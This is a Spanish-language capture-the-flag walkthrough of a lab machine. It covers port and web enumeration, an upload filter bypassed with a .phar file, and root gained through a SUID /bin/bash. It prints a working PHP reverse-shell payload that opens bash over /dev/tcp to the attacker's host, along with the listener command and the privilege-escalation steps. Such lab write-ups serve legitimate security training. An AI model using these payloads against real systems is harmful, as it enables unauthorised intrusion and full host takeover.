Enumeración de servicios
El escaneo identifica FTP, SSH y HTTP. FTP permite acceso anónimo y expone note.txt, por lo que lo revisamos antes de atacar los servicios que requieren credenciales:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.12
❯ nmap -sCV -p21,22,80 -oN 02-targeted.txt 192.168.1.12
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-22 14:23 -03
Nmap scan report for 192.168.1.12
Host is up (0.00031s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-rw-r-- 1 1000 1000 191 Feb 01 14:29 note.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.1.10
| Logged in as ftp
| vsFTPd 3.0.5 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 68:4c:42:8d:10:2c:61:56:7b:26:c4:78:96:6d:28:15 (ECDSA)
|_ 256 7e:1a:29:d8:9b:91:44:bd:66:ff:6a:f3:2b:c7:35:65 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Liceo
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.78 secondsEnumeración de FTP y HTTP
La nota menciona trabajo pendiente en la web y el nombre Matias, pero no contiene credenciales:
❯ cat note.txt
Hi Matias, I have left on the web the continuations of today's work,
would you mind contiuing in your turn and make sure that the web will be secure?
Above all, we dont't want intruders...Enumeramos rutas y extensiones comunes en el servidor HTTP. Los resultados muestran un formulario upload.php y un directorio navegable /uploads:
❯ gobuster dir -u 'http://192.168.1.12' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,gif,png -r
...
/index.html (Status: 200) [Size: 21487]
/images (Status: 200) [Size: 6715]
/uploads (Status: 200) [Size: 743]
/upload.php (Status: 200) [Size: 371]
/css (Status: 200) [Size: 1746]
/js (Status: 200) [Size: 1347]
...Unrestricted File Upload RCE
El formulario presenta un Unrestricted File Upload RCE: rechaza la extensión .php, pero acepta el mismo contenido al renombrarlo como .phar. En este objetivo Apache también entrega los archivos .phar al intérprete de PHP. La explotación requiere, por tanto, tres condiciones que aquí coinciden: una extensión alternativa aceptada, almacenamiento en un directorio público y un handler que interpreta el archivo como código. La carga original conecta al puerto 1234 de nuestra máquina:
<?php
shell_exec("bash -c 'bash -i >& /dev/tcp/192.168.1.10/1234 0>&1'");
?>Guardamos el archivo como reverse.phar, lo subimos y dejamos el listener preparado:
❯ ncat -nlvp 1234Localizamos el archivo en http://192.168.1.12/uploads/ y lo solicitamos desde el navegador. La conexión resultante pertenece a www-data y permite recuperar la primera flag. Las notas originales no conservan la salida de esa conexión, por lo que no añadimos una transcripción reconstruida.
Enumeración local
Al revisar permisos especiales observamos que /bin/bash pertenece a root y tiene los bits SUID y SGID activos (s en las posiciones de ejecución):
bash-5.1$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1396520 Jan 6 2022 /bin/bashSUID Binary Abuse
La configuración constituye un SUID Binary Abuse. Al ejecutar un binario SUID, el proceso hereda el UID efectivo del propietario del archivo, que en este caso es root. Bash suele descartar privilegios heredados por seguridad, pero la opción -p activa el modo privilegiado y conserva ese UID efectivo:
bash-5.1$ bash -p
whoami
rootwhoami confirma la escalada. Recuperamos la flag final y damos por completada la máquina.